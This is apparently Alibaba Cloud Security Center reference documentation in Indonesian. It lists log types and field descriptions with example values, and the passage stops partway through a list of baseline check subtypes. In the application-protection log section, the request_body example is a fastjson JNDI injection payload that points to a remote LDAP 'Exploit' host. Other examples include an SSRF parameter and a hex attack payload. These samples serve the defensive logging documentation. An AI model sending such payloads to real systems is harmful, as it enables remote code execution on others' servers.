Security Center：Jenis log dan deskripsi field

Field

Deskripsi

Contoh

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server.

192.168.XX.XX

sas_group_name

Grup aset server di Security Center.

default

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

src_ip

Alamat IP sumber untuk logon.

221.11.XX.XX

dst_port

Port logon server.

22

login_type

Jenis masuk. Nilai yang valid meliputi tetapi tidak terbatas pada:

• SSHLOGIN, SSH: Logon SSH.

• RDPLOGIN: Logon desktop jarak jauh.

• IPCLOGIN: Logon koneksi IPC.

SSH

username

Nama pengguna logon.

admin

login_count

Jumlah logon.

Login berulang dalam satu menit digabung menjadi satu entri log. Misalnya, jika nilai login_count adalah 3, ini menunjukkan tiga login berulang dalam menit terakhir.

3

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

cmd_chain

Rantai proses.

[

{

"9883":"bash -c kill -0 -- -'6274'"

}

......

]

cmd_chain_index

Indeks rantai proses. Gunakan indeks untuk mencari rantai proses.

B184

container_hostname

Nama server di kontainer.

nginx-ingress-controller-765f67fd4d-****

container_id

ID kontainer.

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

ID citra.

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

Nama citra.

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

Nama kontainer.

nginx-ingress-****

container_pid

ID proses di kontainer.

0

net_connect_dir

Arah koneksi jaringan. Nilai yang valid:

• in: inbound

• out: outbound

in

dst_ip

Alamat IP penerima koneksi jaringan.

• Jika dir adalah out, ini adalah host peer.

• Jika dir adalah in, ini adalah host lokal.

192.168.XX.XX

dst_port

Port penerima koneksi jaringan.

443

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server.

192.168.XX.XX

parent_proc_name

Nama file proses induk.

/usr/bin/bash

pid

ID proses.

14275

ppid

ID proses induk.

14268

proc_name

Nama proses.

nginx

proc_path

Path proses.

/usr/local/nginx/sbin/nginx

proc_start_time

Waktu startup proses.

N/A

connection_type

Protokol. Nilai yang valid:

• tcp

• raw (menunjukkan raw socket)

tcp

sas_group_name

Grup aset server di Security Center.

default

src_ip

Alamat IP sumber.

100.127.XX.XX

src_port

Port sumber.

41897

srv_comm

Nama perintah yang terkait dengan proses kakek.

containerd-shim

status

Status koneksi jaringan. Nilai yang valid:

• 1: Ditutup

• 2: Mendengarkan permintaan koneksi.

• 3: SYN dikirim

• 4: SYN diterima

• 5: Terbentuk

• 6: Menunggu penutupan

• 7: Menutup

• 8: FIN wait 1

• 9: FIN wait 2

• 10: Time wait

• 11: TCB dihapus

5

type

Jenis koneksi jaringan real-time. Nilai yang valid:

• connect: Koneksi TCP aktif dimulai.

• accept: Koneksi TCP diterima.

• listen: Port dalam status mendengarkan.

listen

uid

ID pengguna proses.

101

username

Nama pengguna proses.

root

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server yang menjadi sasaran serangan brute-force.

192.168.XX.XX

sas_group_name

Grup aset server di Security Center.

default

uuid

UUID server yang menjadi sasaran serangan brute-force.

5d83b26b-b7ca-4a0a-9267-12*****

login_count

Jumlah logon gagal.

Login berulang dalam satu menit digabung menjadi satu entri log. Misalnya, jika nilai warn_count adalah 3, ini menunjukkan tiga login berulang dalam menit terakhir.

3

src_ip

Alamat IP sumber untuk logon.

47.92.XX.XX

dst_port

Port logon.

22

login_type

Jenis masuk. Nilai yang valid:

• SSHLOGIN, SSH: Logon SSH.

• RDPLOGIN: Logon desktop jarak jauh.

• IPCLOGIN: Logon koneksi IPC.

• SQLSERVER: Logon SQL Server gagal.

SSH

username

Nama pengguna logon.

user

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

account_expire

Waktu kedaluwarsa akun. never menunjukkan bahwa akun tidak pernah kedaluwarsa.

never

domain

Domain atau layanan direktori tempat akun tersebut berada. N/A menunjukkan bahwa akun tidak termasuk dalam domain apa pun.

N/A

groups

Grup tempat akun tersebut berada. N/A menunjukkan bahwa akun tidak termasuk dalam grup apa pun.

["nscd"]

home_dir

Direktori home. Ini adalah lokasi default untuk menyimpan dan mengelola file dalam sistem.

/Users/abc

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server.

192.168.XX.XX

last_chg

Tanggal terakhir kata sandi diubah.

2022-11-29

last_logon

Tanggal dan waktu logon terakhir ke akun. N/A menunjukkan bahwa akun belum pernah dilogon.

2023-08-18 09:21:21

login_ip

Alamat IP jarak jauh dari masuk terakhir ke akun. N/A menunjukkan bahwa akun belum pernah dimasuki.

192.168.XX.XX

passwd_expire

Tanggal kedaluwarsa kata sandi. never menunjukkan bahwa kata sandi tidak pernah kedaluwarsa.

2024-08-24

perm

Menunjukkan apakah akun memiliki izin root. Nilai yang valid:

• 0: Akun tidak memiliki izin root.

• 1: Akun memiliki izin root.

0

sas_group_name

Grup aset server di Security Center.

default

shell

Perintah shell Linux.

/sbin/nologin

status

Status akun pengguna. Nilai yang valid:

• 0: Akun dilarang masuk.

• 1: Akun dapat masuk secara normal.

0

tty

Terminal logon. N/A menunjukkan bahwa akun belum pernah logon ke terminal.

N/A

username

Nama pengguna.

nscd

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

warn_time

Tanggal pengingat kedaluwarsa kata sandi. never menunjukkan bahwa pengingat tidak pernah dikirim.

2024-08-20

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

net_connect_dir

Arah koneksi jaringan. Nilai yang valid:

• in: inbound

• out: outbound

in

dst_ip

Alamat IP penerima koneksi jaringan.

• Jika dir adalah out, ini adalah host peer.

• Jika dir adalah in, ini adalah host lokal.

192.168.XX.XX

dst_port

Port penerima koneksi jaringan.

443

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server.

192.168.XX.XX

pid

ID proses.

682

proc_name

Nama proses.

sshd

connection_type

Protokol. Nilai yang valid:

• tcp4: Koneksi TCP melalui IPv4.

• tcp6: Koneksi TCP melalui IPv6.

tcp4

sas_group_name

Grup aset server di Security Center.

default

src_ip

Alamat IP sumber.

100.127.XX.XX

src_port

Port sumber.

41897

status

Status koneksi jaringan. Nilai yang valid:

• 1: Ditutup

• 2: Mendengarkan permintaan koneksi.

• 3: SYN dikirim

• 4: SYN diterima

• 5: Terbentuk

• 6: Close wait

• 7: Menutup

• 8: FIN wait 1

• 9: FIN wait 2

• 10: Time wait

• 11: TCB dihapus

5

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

cmdline

Baris perintah lengkap untuk memulai proses.

/usr/local/share/assist-daemon/assist_daemon

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server.

192.168.XX.XX

md5

Hash MD5 file biner.

1086e731640751c9802c19a7f53a64f5

proc_name

Nama file proses.

assist_daemon

proc_path

Path lengkap file proses.

/usr/local/share/assist-daemon/assist_daemon

pid

ID proses.

1692

pname

Nama file proses induk.

systemd

sas_group_name

Grup aset server di Security Center.

default

proc_start_time

Waktu startup proses. Ini adalah field bawaan.

2023-08-18 20:00:12

uid

ID pengguna proses.

101

username

Nama pengguna proses.

root

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

domain

Nama domain yang sesuai dengan permintaan DNS.

example.aliyundoc.com

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

host_ip

Alamat IP server yang memprakarsai permintaan DNS.

192.168.XX.XX

pid

ID proses yang memprakarsai permintaan DNS.

3544

ppid

ID proses induk yang memprakarsai permintaan DNS.

3408

cmd_chain

Rantai proses yang memprakarsai permintaan DNS.

"3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""

cmdline

Command line yang memprakarsai permintaan DNS.

C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe

proc_path

Path proses yang memprakarsai permintaan DNS.

C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe

sas_group_name

Grup aset server di Security Center.

default

time

Waktu saat event permintaan DNS ditangkap. Waktu ini umumnya sama dengan waktu terjadinya permintaan DNS.

2023-08-17 20:05:04

uuid

UUID server yang memprakarsai permintaan DNS.

5d83b26b-b7ca-4a0a-9267-12****

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

host_ip

Alamat IP server.

192.168.XX.XX

agent_version

Versi Agen.

aegis_11_91

last_login

Timestamp masuk terakhir. Satuan: milidetik.

1716444387617

platform

Jenis sistem operasi. Nilai yang valid:

• windows

• linux

linux

region_id

ID wilayah tempat server berada.

cn-beijing

status

Status klien. Nilai yang valid:

• online

• offline

online

start_time

Timestamp mulai dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

vul_alias_name

Alias kerentanan.

CESA-2023:1335: Pembaruan Keamanan openssl

risk_level

Tingkat risiko. Nilai yang valid:

• asap: Tinggi

• later: Sedang

• nntf: Rendah

later

extend_content

Informasi tambahan tentang kerentanan.

{"cveList":["CVE-2023-0286"],"necessity":{"gmt_create":"20230816","connect_cnt":80,"total_score":0.0,"assets_factor":1.0,"enviroment_factor":1.5,"status":"normal"},"os":"centos","osRelease":"7","preCheck":{},"rpmCanUpdate":true,"rpmEntityList":[{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl-libs version less than 1.0.2k-26.el7_9","matchList":["openssl-libs version less than 1.0.2k-26.el7_9"],"name":"openssl-libs","nextResult":false,"path":"/etc/pki/tls","result":true,"updateCmd":"yum update openssl-libs","version":"1.0.2k-25.el7_9"},{"fullVersion":"1.0.2k-25.el7_9","kernel":false,"matchDetail":"openssl version less than 1.0.2k-26.el7_9","matchList":["openssl version less than 1.0.2k-26.el7_9"],"name":"openssl","nextResult":false,"path":"/etc/pki/CA","result":true,"updateCmd":"yum update openssl","version":"1.0.2k-25.el7_9"}]}

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

internet_ip

Alamat IP publik aset.

39.104.XX.XX

intranet_ip

Alamat IP pribadi aset.

192.168.XX.XX

instance_name

Hostname.

hhht-linux-***

vul_name

Nama kerentanan.

centos:7:cesa-2023:1335

operation

Tindakan yang dilakukan pada kerentanan. Nilai valid:

• new: Baru

• Verify berarti mengotentikasi.

• fix: Perbaiki

new

status

Status. Nilai valid:

• 1: Belum diperbaiki

• 2: Perbaikan gagal

• 3: Rollback gagal

• 4: Sedang memperbaiki

• 5: Sedang melakukan rollback

• 6: Memverifikasi

• 7: Diperbaiki

• 8: Diperbaiki, restart diperlukan

• 9: Telah di-rollback

• 10: Diabaikan

• 11: Di-rollback, restart diperlukan

• 12: Tidak ada

• 13: Tidak valid

1

tag

Tag kerentanan. Nilai yang valid:

• oval: Kerentanan perangkat lunak Linux

• system: Kerentanan sistem Windows

• cms: Kerentanan Web-CMS

  Catatan

  Tag untuk tipe kerentanan lainnya adalah string acak.

oval

type

Jenis kerentanan. Nilai yang valid:

• sys: Kerentanan sistem Windows

• cve: Kerentanan perangkat lunak Linux

• cms: Kerentanan Web-CMS

• emg: Kerentanan mendesak

sys

uuid

UUID server.

ad66133a-dc82-4e5e-9659-a49e3****

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

check_item_name

Nama item pemeriksaan.

Atur interval minimum untuk perubahan kata sandi

check_item_level

Level pemeriksaan baseline. Nilai valid:

• high: Tinggi

• medium: Menunjukkan tingkat keparahan sedang.

• low: Rendah

medium

check_type

Jenis item pemeriksaan.

Otentikasi identitas

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

risk_level

Level item risiko. Nilai valid:

• high: Tinggi

• medium: Sedang.

• low: Rendah

medium

operation

Operasi. Nilai valid:

• new: Baru

• verity: Verifikasi

new

risk_name

Nama item risiko.

Pemeriksaan kepatuhan kebijakan kata sandi

sas_group_name

Grup aset server tempat item risiko terdeteksi di Security Center.

default

status

Status. Nilai valid:

• 1: Gagal

• 2: Sedang memverifikasi

• 6: Diabaikan

• 7: Memperbaiki

1

sub_type_alias_name

Alias subtipe.

Praktik keamanan terbaik internasional - Pemeriksaan baseline keamanan Ubuntu 16/18/20/22

sub_type_name

Nama subtipe baseline. Untuk informasi lebih lanjut tentang nilai valid subtipe baseline, lihat Daftar tipe dan subtipe baseline.

hc_ubuntu16_cis_rules

type_alias_name

Alias tipe.

Praktik keamanan terbaik internasional

type_name

Tipe baseline. Untuk informasi lebih lanjut tentang nilai valid tipe baseline, lihat Daftar tipe dan subtipe baseline.

cis

uuid

UUID server tempat item risiko terdeteksi.

1ad66133a-dc82-4e5e-9659-a49e3****

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

data_source

Sumber data. Nilai yang valid:

• aegis_suspicious_event: Aktivitas anomali pada host

• aegis_suspicious_file_v2: Webshell

• aegis_login_log: Login anomali

• honeypot: Event alert honeypot cloud

• object_scan: Anomali deteksi file

• security_event: Anomali Pusat Keamanan

• sas_ak_leak: Event kebocoran AK

aegis_login_log

detail

Objek JSON yang memberikan konteks detail untuk peringatan. Field dalam objek ini bervariasi berdasarkan tipe peringatan.

Berikut menjelaskan field umum objek detail, seperti alert_reason (Alasan anomali):

• reason1: Alamat IP bukan dari lokasi logon umum.

• reason2: Panggilan API gagal.

• reason3: Alamat IP bukan dari lokasi logon umum dan panggilan API gagal.

{"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root","protocol":2,"protocolName":"SSH","clientIp":"192.168.XX.XX","loginTimes":1,"location":"Xi'an","type":"login_common_account","displayEventName":"Unusual Account Logon to ECS","status":0}

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

internet_ip

Alamat IP publik aset.

39.104.XX.XX

intranet_ip

Alamat IP pribadi aset.

192.168.XX.XX

level

Tingkat risiko peristiwa peringatan. Nilai yang valid:

• serious: Mendesak

• suspicious: Mencurigakan

• remind: Pengingat

suspicious

name

Nama peringatan.

Logon Anomali - Logon Akun Tidak Biasa ke ECS

operation

Operasi. Nilai valid:

• new: Baru

• dealing: Memproses

• update: Diperbarui

new

status

Status peringatan. Nilai yang valid:

• 1: Belum ditangani. Peringatan baru memiliki status ini.

• 2: Diabaikan. Peringatan memiliki status ini setelah Anda mengabaikannya di konsol.

• 8: Masuk daftar putih. Peringatan memiliki status ini setelah Anda menambahkannya ke daftar putih di konsol.

• 16: Sedang diproses. Alert memiliki status ini saat sedang diproses, misalnya dengan menghentikan proses, mengkarantina file, atau menambahkannya ke daftar putih di konsol.

• 32: Diproses. Alert memiliki status ini setelah Anda menandainya sebagai diproses secara manual atau setelah tindakan pemrosesan, seperti menghentikan proses atau mengkarantina file, selesai di konsol.

• 64: Kedaluwarsa. Alert yang tidak diproses dalam 30 hari ditandai sebagai kedaluwarsa.

• 513: Secara otomatis diblokir. Alert diblokir secara otomatis oleh fitur pertahanan presisi Pusat Keamanan dan tidak memerlukan tindakan manual.

1

unique_info

Pengidentifikasi unik peringatan.

2536dd765f804916a1fa3b9516b5****

uuid

UUID server yang menghasilkan peringatan.

ad66133a-dc82-4e5e-9659-a49e3****

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

suspicious_event_id

ID event alert.

650226318

handle_time

Waktu yang sesuai dengan operasi.

1765272845

alert_first_time

Waktu pertama kali alert terjadi.

1764226915

alert_last_time

Waktu terakhir alert terjadi.

1765273425

strict_type

Menunjukkan apakah alert merupakan alert mode ketat. Nilai valid: true, false.

user_id

ID akun.

1358******3357

Field

Deskripsi

Contoh

check_id

ID item pemeriksaan. Anda dapat memanggil operasi ListCheckResult untuk mendapatkan ID.

11

check_item_name

Nama item pemeriksaan.

Konfigurasi pengambilan origin

instance_id

ID instans.

i-2zeg4zldn8zypsfg****

instance_name

Nama instans.

lsm

instance_result

Dampak risiko. Nilainya berupa string JSON.

{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,"searchKey":"RegionIdKey","showName":"Region","type":"text"},{"key":"InstanceIdShow","search":true,"searchKey":"InstanceIdKey","showName":"ID Instans","type":"link"},{"key":"InstanceNameShow","search":true,"searchKey":"InstanceNameKey","showName":"Nama Instans","type":"text"}]}

instance_sub_type

Subtipe instans. Nilai yang valid:

• Jika tipe instans adalah ECS, nilai valid subtipe adalah:

  • INSTANCE

  • DISK

  • SECURITY_GROUP

• Jika tipe instans adalah ACR, nilai valid subtipe adalah:

  • REPOSITORY_ENTERPRISE

  • REPOSITORY_PERSON

• Jika tipe instans adalah RAM, nilai valid subtipe adalah:

  • ALIAS

  • USER

  • POLICY

  • GROUP

• Jika jenis instans adalah WAF, subtipe adalah DOMAIN.

• Jika jenis instans adalah nilai lain, subtipe adalah INSTANCE.

INSTANCE

instance_type

Tipe instans. Nilai yang valid:

• ECS singkatan dari Elastic Compute Service.

• SLB (Server Load Balancer).

• RDS: RDS

• MONGODB: MongoDB

• KVSTORE: Redis

• ACR singkatan dari Container Registry.

• CSK: CSK

• VPC singkatan dari Virtual Private Cloud.

• ActionTrail adalah layanan audit operasi.

• CDN: Content Delivery Network.

• CAS: Certificate Management Service

• RDC: Apsara Devops

• RAM: RAM

• DDOS: Anti-DDoS

• WAF singkatan dari Web Application Firewall.

• OSS (Object Storage Service).

• POLARDB: PolarDB

• POSTGRESQL: PostgreSQL

• MSE: Microservices Engine.

• NAS: penyimpanan file

• SDDP: Sensitive Data Discovery and Protection

• Alamat IP Elastis (EIP).

ECS

region_id

ID wilayah tempat instans berada.

cn-hangzhou

requirement_id

ID persyaratan. Anda dapat memanggil operasi ListCheckStandard untuk mendapatkan ID.

5

risk_level

Tingkat risiko. Nilai yang valid:

• LOW

• MEDIUM

• HIGH

MEDIUM

section_id

ID bagian. Anda dapat memanggil operasi ListCheckResult untuk mendapatkan ID.

1

standard_id

ID standar. Anda dapat memanggil operasi ListCheckStandard untuk mendapatkan ID.

1

status

Status item pemeriksaan. Nilai yang valid:

• NOT_CHECK: Belum diperiksa

• CHECKING: Sedang memeriksa

• PASS: Lulus

• NOT_PASS: Gagal

• WHITELIST: Masuk daftar putih

PASS

vendor

Penyedia layanan cloud. Nilainya tetap ALIYUN.

ALIYUN

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

cmd

Baris perintah proses yang diserang.

nginx: master process nginx

cur_time

Waktu peristiwa serangan terjadi.

2023-09-14 09:21:59

decode_payload

Payload yang dikonversi dari format HEX ke karakter.

POST /Services/FileService/UserFiles/

dst_ip

Alamat IP aset yang diserang.

172.16.XX.XX

dst_port

Port aset yang diserang.

80

func

Tipe event yang dicegat. Nilai valid:

• payload: Tipe payload berbahaya. Ini menunjukkan bahwa event serangan dicegat karena terdeteksi data atau instruksi berbahaya.

• tuple: Tipe IP berbahaya. Ini menunjukkan bahwa event serangan dicegat karena terdeteksi akses IP berbahaya.

payload

rule_type

Tipe aturan spesifik event yang dicegat. Nilai valid:

• alinet_payload: Aturan pertahanan peristiwa payload yang ditentukan oleh Security Center.

• alinet_tuple: Aturan pertahanan peristiwa tuple yang ditentukan oleh Security Center.

alinet_payload

instance_id

ID instans aset yang diserang.

i-2zeg4zldn8zypsfg****

internet_ip

Alamat IP publik aset yang diserang.

39.104.XX.XX

intranet_ip

Alamat IP pribadi aset yang diserang.

192.168.XX.XX

final_action

Mode tindakan pertahanan. Nilainya adalah block (dicegat).

block

payload

Payload dalam format HEX.

504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****

pid

ID proses yang diserang.

7107

platform

Tipe sistem aset yang diserang. Nilai valid:

• windows

• linux

linux

proc_path

Path proses yang diserang.

/usr/sbin/nginx

sas_group_name

Grup aset server di Security Center.

default

src_ip

Alamat IP sumber yang memulai serangan.

106.11.XX.XX

src_port

Port sumber yang memulai serangan.

29575

uuid

UUID server.

5d83b26b-b7ca-4a0a-9267-12****

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

app_dir

Direktori tempat aplikasi berada.

/usr/local/aegis/rasp/apps/1111

app_id

ID aplikasi.

6492a391fc9b4e2aad94****

app_name

Nama aplikasi.

test

confidence_level

Tingkat kepercayaan algoritma deteksi. Nilai yang valid:

• high

• medium

• low

low

request_body

Badan permintaan.

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}

request_content_length

Panjang badan permintaan.

112

data

Parameter hook point.

{"cmd":"bash -c kill -0 -- -'31098' "}

headers

Header permintaan.

{"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial","accept-language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","origin":"http://120.26.XX.XX:8080","host":"120.26.XX.XX:8080","content-type":"application/json","connection":"keep-alive","x-forwarded-for":"1.1.XX.XX","accept-encoding":"gzip, deflate","user-agent":"msnbot","accept":"application/json, text/plain, */*"}

hostname

Nama host atau perangkat jaringan.

testhostname

host_ip

Alamat IP pribadi host.

172.16.XX.XX

is_cliped

Menunjukkan apakah log dipotong karena terlalu panjang. Nilai valid:

• true: Dipotong

• false: Tidak dipotong

false

jdk_version

Versi JDK.

1.8.0_292

message

Deskripsi peringatan.

Serial kelas tidak aman.

request_method

Metode permintaan.

Post

platform

Jenis sistem operasi.

Linux

arch

Arsitektur sistem operasi.

amd64

kernel_version

Versi kernel sistem operasi.

3.10.0-1160.59.1.el7.x86_64

param

Parameter permintaan. Format umum meliputi:

• Parameter GET

• application/x-www-form-urlencoded

{"url":["http://127.0.0.1.xip.io"]}

payload

Payload serangan.

bash -c kill -0 -- -'31098'

payload_length

Panjang payload serangan.

27

rasp_id

ID unik probe perlindungan aplikasi.

fa00223c8420e256c0c98ca0bd0d****

rasp_version

Versi probe perlindungan aplikasi.

0.8.5

src_ip

Alamat IP peminta.

172.0.XX.XX

final_action

Hasil penanganan peringatan. Nilai yang valid:

• block: Perlindungan (diblokir)

• monitor: Pemantauan

block

rule_action

Metode penanganan peringatan yang ditentukan oleh aturan. Nilai yang valid:

• block

• monitor

block

risk_level

Tingkat risiko. Nilai yang valid:

• high

• medium

• low

high

stacktrace

Informasi stack.

[java.io.FileInputStream.<init>(FileInputStream.java:123), java.io.FileInputStream.<init>(FileInputStream.java:93), com.example.vulns.controller.FileController.IORead(FileController.java:75), sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method), sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)......]

time

Waktu peringatan dipicu.

2023-10-09 15:19:15

timestamp

Timestamp saat peringatan dipicu, dalam milidetik.

1696835955070

type

Jenis serangan. Nilai yang valid:

• attach: Attach berbahaya

• beans: Binding beans berbahaya

• classloader: Pemuatan kelas berbahaya

• dangerous_protocol: Penggunaan protokol berbahaya

• dns: Kueri DNS berbahaya

• engine: Injeksi engine

• expression: Injeksi ekspresi

• file: Baca/tulis file berbahaya

• file_delete: Penghapusan file arbitrer

• file_list: Traversal direktori

• file_read: Pembacaan file arbitrer

• file_upload: Unggahan file berbahaya

• jndi: injeksi JNDI

• jni: injeksi JNI

• jstl: inklusi file arbitrer JSTL

• memory_shell: Injeksi webshell dalam memori

• rce: Eksekusi kode jarak jauh

• read_object: Serangan deserialisasi

• reflect: Panggilan refleksi berbahaya

• sql: Injeksi SQL

• ssrf: Koneksi keluar berbahaya

• thread_inject: Injeksi thread

• xxe: serangan XXE

rce

url

URL permintaan.

http://127.0.0.1:999/xxx

rasp_attack_uuid

UUID event serangan.

18823b23-7ad4-47c0-b5ac-e5f036a2****

uuid

UUID host.

23f7ca61-e271-4a8e-bf5f-165596a16****

internet_ip

Alamat IP publik host.

1.2.XX.XX

intranet_ip

Alamat IP pribadi host.

172.16.XX.XX

sas_group_name

Nama grup server di Security Center.

Group 1

instance_id

ID instans host.

i-wz995eivg28f1m**

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

bucket_name

Nama bucket.

***-test

event_id

ID peringatan.

802210

event_name

Nama peringatan.

Program penambangan

md5

Hash MD5 file.

6bc2bc******53d409b1

sha256

Hash SHA256 file.

f038f9525******7772981e87f85

result

Hasil deteksi. Nilai yang valid:

• 0: File aman.

• 1: File berbahaya ada.

0

file_path

Path file.

test.zip/bin_test

etag

Pengidentifikasi file OSS.

6BC2B******853D409B1

risk_level

Tingkat risiko. Nilai yang valid:

• serious: Mendesak

• suspicious: Mencurigakan

• remind: Pengingat

remind

source

Skema deteksi. Nilai yang valid:

• OSS: Deteksi file dalam bucket Alibaba Cloud Object Storage Service dilakukan di konsol Security Center.

• API: SDK digunakan untuk mendeteksi file berbahaya. Anda dapat menggunakan Java atau Python untuk mengintegrasikan SDK.

OSS

parent_md5

Hash MD5 file induk atau paket terkompresi.

3d0f8045bb9******

parent_sha256

Hash SHA256 file induk atau paket terkompresi.

69b643d6******a3fb859fa

parent_file_path

Nama file induk atau paket terkompresi.

test.zip

start_time

Timestamp mulai, dalam detik. Ini juga menunjukkan waktu terjadinya event.

1719472214

Field

Deskripsi

Contoh

start_time

Waktu paling baru peristiwa terjadi. Satuan: detik.

1718678414

uuid

UUID klien.

5d83b26b-b**a-4**a-9267-12****

file_path

Path file.

/etc/passwd

proc_path

Path proses.

/usr/bin/bash

rule_id

ID aturan yang terkena.

123

rule_name

Nama aturan.

file_test_rule

cmdline

Baris perintah.

bash /opt/a

operation

Operasi pada file.

READ

risk_level

Level peringatan.

2

pid

ID proses.

45324

proc_permission

Izin proses.

rwxrwxrwx

instance_id

ID instans.

i-wz995eivg2****

internet_ip

Alamat IP publik.

192.0.2.1

intranet_ip

Alamat IP pribadi.

172.16.0.1

instance_name

Nama instans.

aegis-test

platform

Jenis sistem operasi.

Linux

Nama tipe

Nama subtipe

Deskripsi

hc_exploit

hc_exploit_redis

Eksploitasi ancaman penting: Akses tidak sah ke Redis

hc_exploit_activemq

Eksploitasi ancaman penting: Akses tidak sah ke ActiveMQ

hc_exploit_couchdb

Eksploitasi ancaman penting: Akses tidak sah ke CouchDB

hc_exploit_docker

Eksploitasi ancaman penting: Akses tidak sah ke Docker

hc_exploit_es

Eksploitasi ancaman penting: Akses tidak sah ke Elasticsearch

hc_exploit_hadoop

Eksploitasi ancaman penting: Akses tidak sah ke Hadoop

hc_exploit_jboss

Eksploitasi ancaman penting: Akses tidak sah ke JBoss

hc_exploit_jenkins

Eksploitasi ancaman penting: Akses tidak sah ke Jenkins

hc_exploit_k8s_api

Eksploitasi ancaman penting: Akses tidak sah ke server API Kubernetes

hc_exploit_ldap

Eksploitasi ancaman penting: Akses tidak sah ke LDAP (lingkungan Windows)

hc_exploit_ldap_linux

Eksploitasi ancaman penting: Akses tidak sah ke OpenLDAP (lingkungan Linux)

hc_exploit_memcache

Eksploitasi ancaman penting: Akses tidak sah ke Memcached

hc_exploit_mongo

Eksploitasi ancaman penting: Akses tidak sah ke MongoDB

hc_exploit_pgsql

Eksploitasi ancaman penting: Akses tidak sah ke PostgreSQL

hc_exploit_rabbitmq

Eksploitasi ancaman penting: Akses tidak sah ke RabbitMQ

hc_exploit_rsync

Eksploitasi ancaman penting: Akses tidak sah ke rsync

hc_exploit_tomcat

Eksploitasi ancaman penting: Kerentanan penyertaan file Apache Tomcat AJP

hc_exploit_zookeeper

Eksploitasi ancaman penting: Akses tidak sah ke ZooKeeper

hc_container

hc_docker

Standar Alibaba Cloud: Pemeriksaan baseline keamanan Docker

hc_middleware_ack_master

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan node master Kubernetes (ACK)

hc_middleware_ack_node

Praktik keamanan terbaik internasional: Pemeriksaan baseline keamanan node Kubernetes (ACK)

hc_middleware_k8s

Standar Alibaba Cloud: Pemeriksaan baseline keamanan node master Kubernetes

hc_middleware_k8s_node

Standar Alibaba Cloud: Pemeriksaan baseline keamanan node Kubernetes

cis

hc_suse 15_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan SUSE 15

hc_aliyun_linux3_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Alibaba Cloud Linux 3

hc_aliyun_linux_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Alibaba Cloud Linux/Aliyun Linux 2

hc_bind_djbh

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan Bind

hc_centos 6_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan CentOS Linux 6

hc_centos 7_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan CentOS Linux 7

hc_centos 8_djbh_l3

MLPS 2.0 Level 3: Pemeriksaan baseline kepatuhan CentOS Linux 8

hc_debian_djbh_l3

